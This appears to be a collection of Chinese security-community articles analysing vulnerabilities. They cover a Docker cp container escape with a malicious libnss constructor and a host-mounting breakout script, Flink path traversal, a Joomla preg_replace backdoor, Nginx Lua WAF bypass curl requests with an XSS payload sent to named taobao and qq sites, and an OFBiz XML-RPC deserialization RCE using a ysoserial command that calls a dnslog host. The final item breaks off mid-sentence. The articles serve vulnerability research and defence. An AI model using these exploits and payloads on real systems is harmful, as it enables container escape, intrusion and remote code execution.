在过去几年中，研究人员在各种容器平台的copy（cp）命令中发现了几个漏洞，这些平台包括Docker、Podman及Kubernetes，其中最严重的漏洞直到今年7月份才被发现和披露。令人惊讶的是，当时这个漏洞并没有引起太多关注，这可能是因为该漏洞的CVE描述并不清晰，并且也没有公开利用代码。
[CVE-2019-14271](https://nvd.nist.gov/vuln/detail/CVE-2019-14271)是Docker
`cp`命令实现中存在的一个安全问题，攻击者可以利用该漏洞实现完整的容器逃逸。这是从2月份`runC`[漏洞](https://unit42.paloaltonetworks.com/breaking-docker-via-runc-explaining-cve-2019-5736/)公布以来第一个容器逃逸类漏洞。
如果攻击者先前已入侵了某个容器（比如通过各种漏洞、被泄露的私密信息等），或者当用户通过不可信源（registry等）运行某个恶意容器镜像，那么攻击者就可以利用该漏洞。如果用户随后执行了存在漏洞的`cp`命令，将文件从被入侵的容器中拷贝出来，那么攻击者就可以实现容器逃逸，完全控制宿主机以及其中的所有容器。
CVE-2019-14271的评估等级为“Critical”，已在[19.03.1](https://docs.docker.com/engine/release-notes/#19031)版的Docker中被修复。本文介绍了CVE-2019-14271漏洞，并提出了该漏洞的第一个PoC。
我和Ariel Zelivansky一直在密切关注主流容器平台上最近出现的copy漏洞，我们将于11月20日在San Diego的[KubeCon +
CloudNativeCon 2019](https://events19.linuxfoundation.org/events/kubecon-cloudnativecon-north-america-2019/)上分享我们的[研究成果](https://kccncna19.sched.com/event/d229f00f143036f7c488144e604f91ea/)。在会议上我们将分析过去已有的漏洞、不同的内部实现以及某些底层原因，解释这条简单命令为何难以妥善实现。我们还将讨论为解决该问题而开发的一些新的内核功能。
## 0x01 Docker cp
我们可以使用`copy`命令，将文件拷贝至/拷贝出容器，也可以在容器间相互拷贝。命令语法非常简单，与标准的Unix
`cp`命令类似。为了从容器中拷贝出`/var/logs`，我们可以使用该语法：`docker cp container_name:/var/logs
/some/host/path`。
如下图所示，为了将文件从容器中拷出，Docker使用了一个辅助进程：`docker-tar`。
图1. 从容器中拷贝文件
`docker-tar`的原理是`chroot`到容器中（如下图所示），归档其中请求的文件及目录，然后将生成的`tar`文件传回Docker守护进程，该进程负责将文件提取到宿主机上的目标目录中。
图2. `docker-tar` `chroot`到容器中
执行`chroot`操作最主要的目的是避免符号链接（symlink）攻击，当宿主机进程尝试访问容器中的文件时就可能发生这种攻击。如果其中某个文件为符号链接，那么就可能被解析到宿主机的根目录，这样攻击者控制的容器就有可能通过容器的`cp`命令在宿主机上读取并写入文件。在过去一年中，[Docker](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-15664)及[Podman](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-10152)中已经有多个CVE与符号链接有关。通过`chroot`到容器根目录，`docker-tar`就可以确保所有的符号链接已被正确解析。
不幸的是，`chroot`到容器中存在一个副作用，当从容器中拷贝文件时，会造成更严重的后果。
## 0x02 CVE-2019-14271
Docker采用Golang编写，更具体一些，存在漏洞的Docker版本采用Go
v1.11编译。在这个版本中，包含嵌入式C代码（`cgo`）的某些package会在运行时动态加载共享库。这些package包括`net`及`os/user`，`docker-tar`都用到了这两个package，会在运行时动态加载一些`libnss_*.so`库。正常情况下，程序库会从宿主机的文件系统中加载，然而由于`docker-tar`会`chroot`到容器中，因此会从容器的文件系统中加载这些库。这意味着`docker-tar`会加载并执行受容器控制的代码。
这里要澄清一点：除了`chroot`到容器文件系统中之外，`docker-tar`并没有被容器化。`docker-tar`运行在宿主机命名空间中，具备所有root功能，并且没有受`cgroups`以及`seccomp`限制。因此，攻击者可以将代码注入到`docker-tar`，就可以通过恶意容器获得宿主机的完整root访问权限。
当Docker用户从如下几种容器中拷贝文件时，就存在被攻击的风险：
* 运行恶意镜像的容器，其中带有恶意的`libnss_*.so`库；
* 攻击者在被入侵的容器中替换`libnss_*.so`库。
在这两种情况下，攻击者都可以获得宿主机上的root代码执行权限。
有趣的是，研究人员实际上是从某个[GitHub
issue](https://github.com/moby/moby/issues/39449)中发现了该漏洞，当时用户尝试从某个`debian:buster-slim`容器中拷贝文件，但`docker cp`命令总是无法成功执行。当时的问题在于该镜像并没有包含`libnss`库，因此当用户运行`docker
cp`命令，`docker-tar`进程尝试从容器系统中加载这些库时，就会出现错误。
## 0x03 漏洞利用
为了利用CVE-2019-14271，我们需要构建一个恶意的`libnss`库，这里我选择的是`libnss_files.so`。我下载了该库的源代码，在源文件中添加了一个函数：`run_at_link()`。我还使用[constructor](https://gcc.gnu.org/onlinedocs/gcc-4.7.0/gcc/Function-Attributes.html)属性来定义该函数。`constructor`属性（GCC特定语法）表示`run_at_link`函数会在目标库被进程加载时作为初始化函数来执行，这意味着当`docker-tar`进程动态加载我们的恶意库时，`run_at_link`就会被执行。`run_at_link`代码如下所示，这里我做了适当精简：
#include ...
#define ORIGINAL_LIBNSS "/original_libnss_files.so.2"
#define LIBNSS_PATH "/lib/x86_64-linux-gnu/libnss_files.so.2"
bool is_priviliged();
__attribute__ ((constructor)) void run_at_link(void)
{
char * argv_break[2];
if (!is_priviliged())
return;
rename(ORIGINAL_LIBNSS, LIBNSS_PATH);
fprintf(log_fp, "switched back to the original libnss_file.so");
if (!fork())
{
// Child runs breakout
argv_break[0] = strdup("/breakout");
argv_break[1] = NULL;
execve("/breakout", argv_break, NULL);
}
else
wait(NULL); // Wait for child
return;
}
bool is_priviliged()
{
FILE * proc_file = fopen("/proc/self/exe", "r");
if (proc_file != NULL)
{
fclose(proc_file);
return false; // can open so /proc exists, not privileged
}
return true; // we're running in the context of docker-tar
}
`run_at_link`首先会验证代码运行在`docker-tar`上下文中，这是因为其他正常的容器进程也可能加载该库。代码通过检查`/proc`目录完成该操作。如果`run_at_link`运行在`docker-tar`上下文中，那么该目录将为空，这是因为挂载到`/proc`的`procfs`只存在于容器的`mount`命名空间中。
接下来，`run_at_link`会将恶意库替换为原始的`libnss`库。这样能确保利用代码运行的后续进程不会意外加载恶意库，避免再次执行`run_at_link`。
随后，为了简化利用过程，`run_at_link`会尝试运行容器中的`/breakout`可执行文件。这样后续利用代码就可以在bash中完成，不需要依赖于C。后续利用逻辑不受限于`run_at_link`，这也意味着当利用代码有改动时，我们不需要每次都重新编译恶意库，只需要修改`breakout`程序即可。
如[下图](https://asciinema.org/a/HfdKQKFn7Cn67e5QLWm9gzFfT)所示，当Docker用户运行恶意镜像（其中包含我们的恶意`libnss_files.so`库），尝试从容器中拷贝某些日志文件时，镜像中的`/breakout`程序就会执行。这里的`/breakout`是一个简单的bash脚本，会将宿主文件系统加载到容器的`/host_fs`，并将信息写入宿主机上的`/evil`。
图3. 利用CVE-2019-14271实现容器逃逸
该视频中使用的`/breakout`脚本源码如下所示。为了获取宿主机根文件系统的引用，脚本将`procfs`挂载到`/proc`。由于`docker-tar`运行在宿主机的`PID`命名空间中，被挂载的`procfs`将会包含宿主机进程中的数据。该脚本随后会挂载宿主机`PID 1`的根目录。
#!/bin/bash
umount /host_fs && rm -rf /host_fs
mkdir /host_fs
mount -t proc none /proc # mount the host's procfs over /proc
cd /proc/1/root # chdir to host's root
mount --bind . /host_fs # mount host root at /host_fs
echo "Hello from within the container!" > /host_fs/evil
## 0x04 漏洞补丁
漏洞[补丁](https://github.com/moby/moby/pull/39612)修复了`docker-tar`的`init`函数，避免存在问题的Go package调用任意函数。补丁强制`docker-tar`在`chroot`到容器前，先从宿主机系统中加载`libnss`库。
图4. 补丁代码
## 0x05 总结
如果某个漏洞能够在宿主机上执行代码，那该漏洞将非常危险。用户应确保当前运行[19.03.1](https://docs.docker.com/engine/release-notes/#19031)版或更高版本的Docker，这些版本中已经修复了该问题。为了限制这类漏洞的攻击面，我建议大家永远不要运行不可信的镜像。
此外，如果不是特殊情况，我建议大家以非`root`用户运行容器，这样能进一步提高容器安全性，避免攻击者利用容器引擎或者内核中存在的各种问题。对于CVE-2019-14271漏洞，如果容器以非`root`用户运行，那么当前环境仍然安全。即便攻击者成功入侵容器，也无法覆盖容器的`libnss`库，因为这些库归`root`所有，因此攻击者无法利用该漏洞。Ariel
Zelivansky还发表过一篇[文章](https://unit42.paloaltonetworks.com/non-root-containers-kubernetes-cve-2019-11245-care/)，其中介绍了以非`root`用户运行容器的各种优点，供大家参考。 | 社区文章 |
# CVE-2020-17519 & CVE-2020-17518 分析
## CVE-2020-17519
看到漏洞公告，`http://mail-archives.apache.org/mod_mbox/www-announce/202101.mbox/browser`
问题出在 `REST API` 上，且直接给出了 `commit`
在 github 上查看
`https://github.com/apache/flink/commit/b561010b0ee741543c3953306037f00d7a9f0801`
可以看到多了 `new File().getName()`
返回路径名的名称序列的最后一个名字，所以跳不到其他目录，修复了目录穿越问题。从字面意思上看，此时获取的参数是URI。
现在要找 `source` ，因为出问题的是 `REST API`
所以先看官方的文档：`https://ci.apache.org/projects/flink/flink-docs-release-1.12/ops/rest_api.html`，其中说了
`org.apache.flink.runtime.webmonitor.WebMonitorEndpoint` 是路由的类：
跟进。找到了 `JobManagerCustomLogHandler`,并发现了 `JobManagerCustomLogHeaders` 的实例化：
继续跟进 `JobManagerCustomLogHeaders`，最终发现了路由：
跟在 `/jobmanager/logs/` 后的路径就是取得的参数，
## 搭建环境
漏洞原理基本分析清楚了，接下来就是搭建环境验证了，
在 `dockerhub` 上找了一下：
docker run -it -p 8081:8081 morgel/flink:1.11.2-bin-scala_2.12-java_11 /bin/bash
然后
./bin/start-cluster.sh
搭建成功
## 测试
最后用了几种 payload 测试,测试成功
## CVE-2020-17518
也是上面的步骤，看到 commit 的
`https://github.com/apache/flink/commit/a5264a6f41524afe8ceadf1d8ddc8c80f323ebc4`
修复方式还是一样的，说明也是目录穿越的点，直接看 api 文档，发现了一个上传点：
直接构造上传 | 社区文章 |
# 隐藏在joomla核心文件database.php 中的preg_replace /e 后门
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<https://blog.sucuri.net/2016/05/unexpected-backdoor-fake-core-files.html>
译文仅供参考，具体内容表达以及含义原文为准。
我们通常会在Sucuri
Labs或是在博客上写下很多模糊处理方法。有时候也会写一些免费的工具来处理并不免费的代码,我们还有一个在线工具用来帮助用户解码恶意软件。但有些时候我们不清楚恶意软件到底是使用base64、gzinflate、十六进制编码字符串、字符串旋转还是其他常见功能进行加密的。就像是我们今天将会介绍的案例,利用隐藏在joomla核心文件中的后门管理数据库输入。
我们的工具触发了客户端的一个站点结构异常: /includes/joomla/database/database.php ,其中包含了一个转换成
preg_replace的十六进制编码字符串。
这为什么会是反常现象呢?让我来解释一下:
· /includes/joomla/database/database.php 并不是Joomla 2.5.8
的一部分(这是在客户端站点运行的一个过时版本)。
· Joomla核心文件不使用这种编码方法。
如果这是一个由客户端创建来管理Joomla数据库的有效文件,那又是什么样子的呢?这种情况是可能的,我见过太多的CMS核心文件由于客户需求遭到修改,所以最好的办法就是首先核查一下。
前几行和常见的Joomla核心文件没有差别。精彩的评论,getlnstance函数等等。但是之后就有些怪异了。所有的变量都被过度缩进来存储其他变量,这是一种函数吗?这时候就发现问题了。
功能形式
上下查找之后我发现了一些其他函数、变量、十六进制编码字符串和一个非常奇怪的串联:
我想到的第一件事就是检查它的输出。可能恶意软件就以某种形式藏在那里,基于变量内容,它会存储数据库内容。但是……
串联在一起只是为了转移注意力,目的是不想让分析师继续深究其中内涵。但是现在还不是时候,除了研究这份疯狂的db代码之外,我还有更重要的事情要做。也许之后我会再回头研究这份代码,这要看它是否还会被用在其他地方。所以现在先留着它然后继续探究吧。
深入调查之后,我发现了这个:
最后进行Deobfuscated病毒扫描
我们看到 $new_stats 由存储在另一变量的函数命名。这样好理解吗?让我们换一种方法来解释:
首先我们看到了一个新的变量:$_state。我将它从另一部分代码中移除,这样可以更清楚地看到到底发生了什么。
还记得我说过的常用于模糊处理恶意软件的各种函数吗?是的,这个恶意软件编写者几乎在每一行代码中都使用了那些函数!
这些代码可以获取HTTP_SCHEME
服务器变量内容并且稍作处理,以备后用。这个服务器未在默认情况下登陆,或者使用了模板并且存储空间巨大,又或者是只保存最近登录记录。
下一步,获取 $_validate 创建的数组,并且使用strtr函数进行 $new_stats 转换。因为我们没有通过
HTTP_SCHEME发送的数组,所以我们也很难说,到底 $new_stats 内容就是之后在preg_replace
执行的恶意代码,还是说有一个全新的代码完全覆盖了变量内容。我希望它是存储在变量中的,那样事情就会变得容易得多。
正如我前文所讲,最后一行代码是用来执行base64解码内容的转换。
Preg_replace的e注记
在 Preg_replace 正则表达式中使用的修饰e基于PHP7.0.0(谢谢你!)将会被删除,为了方便查阅,这里摘抄了php.net手册的相关内容:
如果设置了已否决的修饰符,Preg_replace
会在替换字符中做出常规反应,将它评定为PHP代码,然后用结果替换搜索字符串。单引号、双引号、反斜杠和NULL字符会由反向引用的反斜杠代替。
发现问题了吗?这是我们修复团队清理受害网站时每天都在寻找的函数。
结论
日常的恶意软件越来越难被发现。攻击者们将恶意软件存储在数据库里,进行加密,甚至将它编码成核心文件的样子。现在是时候为自己的网站进行了此健康检查了,看看是否有被添加或是被修改的文件,像一个强迫症一样细致一点吧。 | 社区文章 |
# Nginx Lua WAF通用绕过方法
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
> Author：JoyChou
> Date：20180517
## 一 、前言
2018年4月3日[@bre4k](https://github.com/bre4k "@bre4k")在群里发了一个trick。
> Nginx Lua获取参数时，默认获取前100个参数值，其余的将被丢弃。
所以，用了Nginx Lua的WAF默认都会被Bypass。
2018年4月20日，安全客上已经有人公开了这个细节，那这篇文章也就公开了。
## 二 、原理
[官方描述如下](https://github.com/openresty/lua-nginx-module#ngxreqget_uri_args)
> Note that a maximum of 100 request arguments are parsed by default
> (including those with the same name) and that additional request arguments
> are silently discarded to guard against potential denial of service attacks.
默认情况下最多可解析100个请求参数（包括具有相同名称的请求参数），并且会自动丢弃其他请求参数以防止潜在的拒绝服务攻击。
搜索`100`，大致有下面的方法存在同样的问题。
* `ngx.req.get_uri_args` 获取get的请求参数
* `ngx.req.get_post_args` 获取post的请求参数
* `ngx.req.get_headers` 获取request头
* `ngx.decode_args` 对参数进行URL解码
* `ngx.resp.get_headers` 获取response头
在[lua-nginx-module源码](https://github.com/openresty/lua-nginx-module/blob/master/src/ngx_http_lua_common.h)里，我们可以看到源代码设置了默认的最多请求参数和头都为100
#ifndef NGX_HTTP_LUA_MAX_ARGS
#define NGX_HTTP_LUA_MAX_ARGS 100
#endif
#ifndef NGX_HTTP_LUA_MAX_HEADERS
#define NGX_HTTP_LUA_MAX_HEADERS 100
#endif
不过官方提供了方法，可修改该默认值，比如`ngx.req.get_uri_args(200)`就能获取前200个请求参数。
## 三 、 测试
location = /test {
content_by_lua_block {
local args = ngx.req.get_uri_args()
for key, val in pairs(args) do
if type(val) == "table" then
ngx.say(key, ": ", table.concat(val, ", "))
else
ngx.say(key, ": ", val)
if val == 'joychou' then
ngx.say("I got u,joychou")
return
end
end
end
}
}
当请求参数为101个时，此时获取不到最后一个请求参数。
curl -v 'http://test.joychou.org/test?a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26&a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50=50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73&a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97=97&a98=98&a99=99&a100=100&a=joychou'
减少一个请求参数，当请求参数刚好为100个时，能获取到最后一个请求参数。
a77: 77
a9: 9
a43: 43
a24: 24
a52: 52
a61: 61
a35: 35
a70: 70
a78: 78
a42: 42
a53: 53
a49: 49
a87: 87
a60: 60
a58: 58
a96: 96
a14: 14
a27: 27
a15: 15
a85: 85
a36: 36
a26: 26
a41: 41
a94: 94
a37: 37
a50: 50
a63: 63
a48: 48
a72: 72
a12: 12
a29: 29
a59: 59
a38: 38
a62: 62
a: joychou
I got u, joychou
说明，默认确实是100个请求参数，并且100个请求参数以后的请求参数将会被丢弃。
有一个奇怪的地方，在上面的返回内容中，在大概中间的位置，就已经输出了最后的joychou参数。我的猜测是输出并不是按照顺序，但是解析的顺序确实按照参数提交的顺序，因为当第101个参数value是joychou时，不能获取到该值。
附上生成参数的python脚本：
# author: JoyChou
# mail: [email protected]
# date: 2018-04-03
a = ''
for i in range(200):
a = a + 'a{0}={1}&'.format(i+1, i+1)
print a
## 四 、 修复
当然，不建议在源码修改参数的MAX值。因为你设置再大的值都能被绕过。建议通过方法的参数去设置。
如果能获取到请求参数的长度，再利用类似`ngx.req.get_uri_args(lenth)`方式，不是就可以了吗？
阅读文档发现，其实并不能获取到请求参数的个数。但是如果设置lenth为0的话，就能获取所有请求参数。
> This argument can be set to zero to remove the limit and to process all
> request arguments received.
local args = ngx.req.get_uri_args(0)
不过官方强烈不建议设置为0的方式，防止潜在的拒绝服务攻击。
> Removing the max_args cap is strongly discouraged.
其实，我在想为什么设置0，就会有潜在的拒绝服务攻击，请求反正都会到nginx，无论外面get或者post的参数再多。
我给官方提了一个[Issue](https://github.com/openresty/lua-nginx-module/issues/1294)，
作者说，`ngx.req.get_uri_args(0)`会增加服务端CPU和内存的使用。后来，我测试200个参数，利用Nginx+php，获取第200个参数，能获取到，说明Nginx默认不会对请求参数个数进行限制。那么可能存在问题的地方就在于Nginx
Lua本身，当Nginx
Lua利用`ngx.req.get_uri_args(0)`获取所有参数，并且进行循环遍历，一旦请求参数非常多，就会消耗更多的CPU和内存，最后甚至导致拒绝服务。
2018年04年03日，Bypass007在官方提了一个关于这个漏洞修复的[ISSUE](https://github.com/openresty/openresty/issues/358)，最后官方在2018年04月21日，根据这个ISSUE新增了一个功能。该功能的commit记录地址：<https://github.com/openresty/lua-nginx-module/commit/52af63a5b949d6da2289e2de3fb839e2aba4cbfd>
功能描述为：在v0.10.13后的版本(包括v0.10.13)，当限制的请求数被突破后，第二个返回值是`truncated`字符串。
> Since v0.10.13, when the limit is exceeded, it will return a second value
> which is the string “truncated”.
> However, the optional max_args function argument can be used to override
> this limit:
local args, err = ngx.req.get_uri_args(10)
if err == "truncated" then
-- one can choose to ignore or reject the current request here
end
所以，最终的修复方法出来了。
* 升级`lua-nginx-module`版本到v0.10.13或以上
* 再限制参数总数，至于总数限制为多少，我个人觉得100个已经足够了
没有找到相关OpenResty升级模块的资料，自己鼓捣了下`OpenResty`如何升级`lua-nginx-module`模块。
步骤如下：
下载lua-nginx-module模块对应版本
wget https://github.com/openresty/lua-nginx-module/releases/tag/v0.10.13
解压
tar -zxvf v0.10.13
删除之前的lua-nginx-module版本
rm -rf openresty-1.9.15.1/bundle/ngx_lua-0.10.5
复制新的lua-nginx-module
mv lua-nginx-module-0.10.13 openresty-1.9.15.1/bundle/ngx_lua-0.10.13
编译，参数参考VeryNginx的编译参数
./configure --prefix=/opt/verynginx/openresty --user=nginx --group=nginx --with-http_v2_module --with-http_sub_module --with-http_stub_status_module --with-luajit
make
## 五 、案例绕过
需要申明的是，下面几种WAF我不确定是否用的Nginx Lua，只是可以用参数总数的方式进行绕过而已。
### 5.1 阿里WAF
此WAF是阿里内部使用的WAF，即`*.taobao.com`等域名使用的WAF，并未测试阿里云对外售卖的云WAF。
先请求一个POST的XSS Payload，拦截。
curl -v -d 'a=<img src=x onerror=alert(/xss/)>' lu.taobao.com
通过Fuzz发现，当增加参数的个数到478后，带着XSS Payload，不再进行拦截，并且网站能正常访问。
curl -v -d 'a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26&a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50=50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73&a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97=97&a98=98&a99=99&a100=100&a101=101&a102=102&a103=103&a104=104&a105=105&a106=106&a107=107&a108=108&a109=109&a110=110&a111=111&a112=112&a113=113&a114=114&a115=115&a116=116&a117=117&a118=118&a119=119&a120=120&a121=121&a122=122&a123=123&a124=124&a125=125&a126=126&a127=127&a128=128&a129=129&a130=130&a131=131&a132=132&a133=133&a134=134&a135=135&a136=136&a137=137&a138=138&a139=139&a140=140&a141=141&a142=142&a143=143&a144=144&a145=145&a146=146&a147=147&a148=148&a149=149&a150=150&a151=151&a152=152&a153=153&a154=154&a155=155&a156=156&a157=157&a158=158&a159=159&a160=160&a161=161&a162=162&a163=163&a164=164&a165=165&a166=166&a167=167&a168=168&a169=169&a170=170&a171=171&a172=172&a173=173&a174=174&a175=175&a176=176&a177=177&a178=178&a179=179&a180=180&a181=181&a182=182&a183=183&a184=184&a185=185&a186=186&a187=187&a188=188&a189=189&a190=190&a191=191&a192=192&a193=193&a194=194&a195=195&a196=196&a197=197&a198=198&a199=199&a200=200&a201=201&a202=202&a203=203&a204=204&a205=205&a206=206&a207=207&a208=208&a209=209&a210=210&a211=211&a212=212&a213=213&a214=214&a215=215&a216=216&a217=217&a218=218&a219=219&a220=220&a221=221&a222=222&a223=223&a224=224&a225=225&a226=226&a227=227&a228=228&a229=229&a230=230&a231=231&a232=232&a233=233&a234=234&a235=235&a236=236&a237=237&a238=238&a239=239&a240=240&a241=241&a242=242&a243=243&a244=244&a245=245&a246=246&a247=247&a248=248&a249=249&a250=250&a251=251&a252=252&a253=253&a254=254&a255=255&a256=256&a257=257&a258=258&a259=259&a260=260&a261=261&a262=262&a263=263&a264=264&a265=265&a266=266&a267=267&a268=268&a269=269&a270=270&a271=271&a272=272&a273=273&a274=274&a275=275&a276=276&a277=277&a278=278&a279=279&a280=280&a281=281&a282=282&a283=283&a284=284&a285=285&a286=286&a287=287&a288=288&a289=289&a290=290&a291=291&a292=292&a293=293&a294=294&a295=295&a296=296&a297=297&a298=298&a299=299&a300=300&a301=301&a302=302&a303=303&a304=304&a305=305&a306=306&a307=307&a308=308&a309=309&a310=310&a311=311&a312=312&a313=313&a314=314&a315=315&a316=316&a317=317&a318=318&a319=319&a320=320&a321=321&a322=322&a323=323&a324=324&a325=325&a326=326&a327=327&a328=328&a329=329&a330=330&a331=331&a332=332&a333=333&a334=334&a335=335&a336=336&a337=337&a338=338&a339=339&a340=340&a341=341&a342=342&a343=343&a344=344&a345=345&a346=346&a347=347&a348=348&a349=349&a350=350&a351=351&a352=352&a353=353&a354=354&a355=355&a356=356&a357=357&a358=358&a359=359&a360=360&a361=361&a362=362&a363=363&a364=364&a365=365&a366=366&a367=367&a368=368&a369=369&a370=370&a371=371&a372=372&a373=373&a374=374&a375=375&a376=376&a377=377&a378=378&a379=379&a380=380&a381=381&a382=382&a383=383&a384=384&a385=385&a386=386&a387=387&a388=388&a389=389&a390=390&a391=391&a392=392&a393=393&a394=394&a395=395&a396=396&a397=397&a398=398&a399=399&a400=400&a401=401&a402=402&a403=403&a404=404&a405=405&a406=406&a407=407&a408=408&a409=409&a410=410&a411=411&a412=412&a413=413&a414=414&a415=415&a416=416&a417=417&a418=418&a419=419&a420=420&a421=421&a422=422&a423=423&a424=424&a425=425&a426=426&a427=427&a428=428&a429=429&a430=430&a431=431&a432=432&a433=433&a434=434&a435=435&a436=436&a437=437&a438=438&a439=439&a440=440&a441=441&a442=442&a443=443&a444=444&a445=445&a446=446&a447=447&a448=448&a449=449&a450=450&a451=451&a452=452&a453=453&a454=454&a455=455&a456=456&a457=457&a458=458&a459=459&a460=460&a461=461&a462=462&a463=463&a464=464&a465=465&a466=466&a467=467&a468=468&a469=469&a470=470&a471=471&a472=472&a473=473&a474=474&a475=475&a476=476&a477=477&a=<img src=x onerror=alert(/xss/)>' lu.taobao.com
### 5.2 腾讯WAF
此WAF是腾讯内部使用的WAF，即`*.qq.com`等域名使用的WAF，并未测试腾讯云对外售卖的云WAF。
当请求参数增加到4000，不会再进行拦截，并且网站能正常访问。随便测试以下域名都受影响。
web.qq.com
ke.qq.com
auto.qq.com
news.qq.com
sports.qq.com
time.qq.com
## 六 、 总结
这个问题很简单，认真读文档都能发现这个问题。但是自己为什么没发现呢？我觉得还是是思考太少。
## 七 、Reference
* <https://github.com/p0pr0ck5/lua-resty-waf/issues/280>
* <https://github.com/openresty/lua-nginx-module#ngxreqget_uri_args>
* <https://github.com/openresty/openresty/issues/358>
* <https://github.com/openresty/lua-nginx-module/commit/52af63a5b949d6da2289e2de3fb839e2aba4cbfd> | 社区文章 |
Author: 析安实验室(ZionLab)
官网：`https://ofbiz.apache.org/`
漏洞信息：`https://securitylab.github.com/advisories/GHSL-2020-069-apache_ofbiz`
## 环境搭建
docker pull andyjunghans/ofbiz
docker run -p 8080:8080 -p 8443:8443 andyjunghans/ofbiz
## 过程分析
### 路由机制
从漏洞信息中得知入口点是 `/webtools/control/xmlrpc`，
所以找到 `framework/webtools/webapp/webtools/WEB-INF/web.xml`，发现 `control` 的路径是由
`org.apache.ofbiz.webapp.control.ControlServlet` 处理。
找到 `org.apache.ofbiz.webapp.control.ControlServlet`：
发现 `doPost` 和 `doGet` 方法的内容是一样的，看到 `doGet` 方法：
内容比较多，直接看关键的地方，在 `requestHandler.doRequest` 的地方处理请求，而 `requestHandler` 是
`getRequestHandler()` 的返回值，看到 `getRequestHandler()` 方法：
继续跳转到 `RequestHandler.getRequestHandler`:
跟进 `this.controllerConfigURL =
ConfigXMLReader.getControllerConfigURL(context)` 方法：
看到是取当前 web 路径下的 `/WEB-INF/controller.xml`,查看 `controller.xml` :
貌似是路由及对应的处理方法，继续回到 `RequestHandler.getRequestHandler`的下半部分：
有个 `EventFactory` 的工厂类初始化，跟进：
这个工厂类的作用就是实例化各个 `EventHandler` 类。
`requestHandler` 看完了，回到 `org.apache.ofbiz.webapp.control.ControlServlet` 的
`requestHandler.doRequest` 方法：
省略一些内容，看到关键点，`String defaultRequestUri = getRequestUri(request.getPathInfo())`
和 `requestMap =
(ConfigXMLReader.RequestMap)requestMapMap.get(defaultRequestUri)` 是根据 URI 在
`controller.xml` 取得对应的参数，如 URI 是 `xmlrpc`,那么会取到：
之后进入 `eventReturn = runEvent(request, response, requestMap.event, requestMap,
"request");`，看到 `runEvent`
会根据 `event.type` 的不同，在工厂类中取得对应的 `EventHandler` 并执行其 `invoke` 方法，如 `xmlrpc` 是
`XmlRpcEventHandler` 类：
所以到此，搞清楚了 `ofbiz` 的路由处理方式，即对应 WEB 项目的 `/WEB-INF/controller.xml` 中，相关的 `uri` 和
`event` 参数。
### 漏洞触发
继续看到 `XmlRpcEventHandler` 类的 `invoke` 方法，看到关键的 `execute` 方法：
再进入 `getRequest` 方法：
以 `XmlRpcRequestParser` 为解析器对输入进行解析，`XmlRpcRequestParser` 是在 `xmlrpc-common-3.1.3.jar` 包中，而 `xmlrpc-common-3.1.3.jar` 则是 Java 中处理 `XML-RPC`
的第三方库，最新版本是2013年发布的 `3.1.3`。`XML-RPC` 是一种远程过程调用（remote procedure
call）的分布式计算协议，通过 XML 将调用函数封装，并使用 HTTP 协议作为传送机制。
继续跟进 `XmlRpcRequestParser` :
可以看到对 XML 的参数作出了规范，其中 `value` 中有个参数 `serializable`
对应的解析器是 `SerializableParser`
可以看到执行了反序列化，`SerializableParser` 继承了 `ByteArrayParser`,所以 `ByteArrayParser`
先处理：
进行了 base64 解码处理,所以最后的 payload 就很明显了，在 `serializable` 参数中加入 base64 编码的反序列化数据。
### 漏洞复现
根据以上分析，先找到反序列化利用链，在 `OfBiz` 中存在 `CommonsBeanutils1` 利用链，然后生成反序列化数据并 base64 编码:
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "curl http://RCE.bgkjco.dnslog.cn" | base64 | tr -d '\n'
最后，将生成的数据放入构造好的 XML 中，并向 `/webtools/control/xmlrpc` 发送 Payload | 社区文章 |
# MOSEC议题解读 | 手机浏览器中的远程代码执行
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 议题概要
近年来，手机浏览器的安全问题一直是安全研究的焦点。大量的漏洞修补以及浏览器、操作系统层面的保护使得浏览器远程代码执行越来越难。此议题着重介绍浏览器远程执行漏洞，包括Webkit
JIT漏洞，WebKit DOM漏洞，Chrome的JS引擎漏洞。漏洞相关原理，挖掘方法以及利用技巧都会涉及。
作为一种通用的漏洞缓解（Exploit Mitigation）技术，隔离堆（Isolated
Heap）已经成功运用于多个主流浏览器如Chrome、FireFox、Edge、IE等。2017年下半年WebKit代码中也开始引入了隔离堆机制。WebKit中的隔离堆对于传统Exploit中的Heap
